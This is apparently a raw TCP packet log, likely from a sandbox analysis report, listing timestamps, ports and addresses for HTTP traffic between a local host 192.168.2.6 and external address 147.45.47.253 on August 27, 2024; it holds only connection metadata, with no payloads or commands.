Aug 27, 2024 20:12:06.493505955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493511915 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493516922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493527889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493541956 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493567944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493750095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493762016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493791103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493815899 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493941069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493952036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493963003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493973970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493987083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494000912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494016886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494024038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494028091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494040012 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494066954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494083881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494119883 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494157076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494168043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494178057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494189978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494195938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494200945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494213104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494224072 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494235039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494260073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494448900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494460106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494472027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494488955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494489908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494503021 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494515896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494525909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494534969 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494538069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494548082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494561911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494568110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494575024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494586945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494587898 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494597912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494610071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494610071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494627953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.494627953 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494657040 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.494678974 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495018005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495028973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495040894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495053053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495064974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495064974 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495088100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495094061 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495100975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495135069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495170116 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495207071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495218039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495229006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495240927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495251894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495279074 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495368004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495378971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495388985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495409012 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495425940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495485067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495496035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495507002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495527983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495554924 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495583057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495592117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.495623112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.495636940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.496006012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.496016979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.496027946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.496049881 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.496051073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.496062994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.496068001 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.496074915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.496085882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.496100903 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.496121883 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.497359991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497371912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497383118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497415066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.497433901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.497441053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497451067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497462034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497473955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497478962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.497502089 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.497646093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.497670889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497683048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497693062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497704983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497715950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497716904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.497729063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497752905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.497766972 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.497980118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.497991085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498002052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498013973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498022079 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498024940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498037100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498039007 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498054981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498064995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498066902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498078108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498078108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498090029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498101950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498111010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498147964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498445034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498461962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498472929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498486042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498486042 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498497963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498508930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498509884 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498519897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498536110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498545885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498553991 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498558998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498570919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498584986 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498611927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498859882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498872042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498883009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498894930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498904943 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498905897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498919010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498929977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.498936892 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.498966932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.579576015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.579627037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.579633951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.579719067 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.579751968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.579758883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.579765081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.579770088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.579782963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.579818964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.579830885 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.579993010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.579999924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580005884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580013990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580020905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580027103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580039978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580044031 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.580080032 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.580261946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580275059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580281973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580286980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580301046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580307007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580308914 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.580336094 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.580367088 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.580449104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580497026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.580518007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580524921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580564022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.580631018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580643892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580651045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580657005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580678940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.580701113 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.580903053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580909014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580919981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580925941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580930948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580936909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580949068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580955029 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.580955982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580961943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580967903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.580993891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.581003904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.581223011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581227064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581271887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.581387997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581394911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581399918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581406116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581417084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581423044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581429005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581434011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581434965 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.581439018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581454039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.581479073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.581651926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581657887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581701994 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.581728935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581734896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581746101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581752062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581758022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581774950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.581789970 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.581953049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.581996918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.582060099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582066059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582112074 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.582182884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582190037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582201004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582206964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582236052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.582246065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.582488060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582494020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582499981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582505941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582540989 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.582567930 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.582644939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582652092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.582699060 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.583010912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.583056927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584109068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584115982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584122896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584157944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584181070 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584187984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584194899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584201097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584208965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584238052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584256887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584410906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584417105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584423065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584428072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584434032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584445953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584453106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584455967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584459066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584465027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584511995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584511995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584527969 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584669113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584676027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584686995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584691048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584721088 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584738016 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584796906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584803104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584815979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584822893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584847927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584858894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584948063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584954023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584959984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584964991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584969997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584975958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.584988117 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.584994078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585000038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585006952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585032940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.585046053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.585203886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585211992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585259914 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.585268021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585274935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585314989 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.585401058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585407972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585419893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585427046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585458994 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.585481882 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.585700035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.585742950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670061111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670068979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670082092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670087099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670093060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670099974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670105934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670119047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670181036 CEST	80	49710	147.45.47.253	192.168.2.6
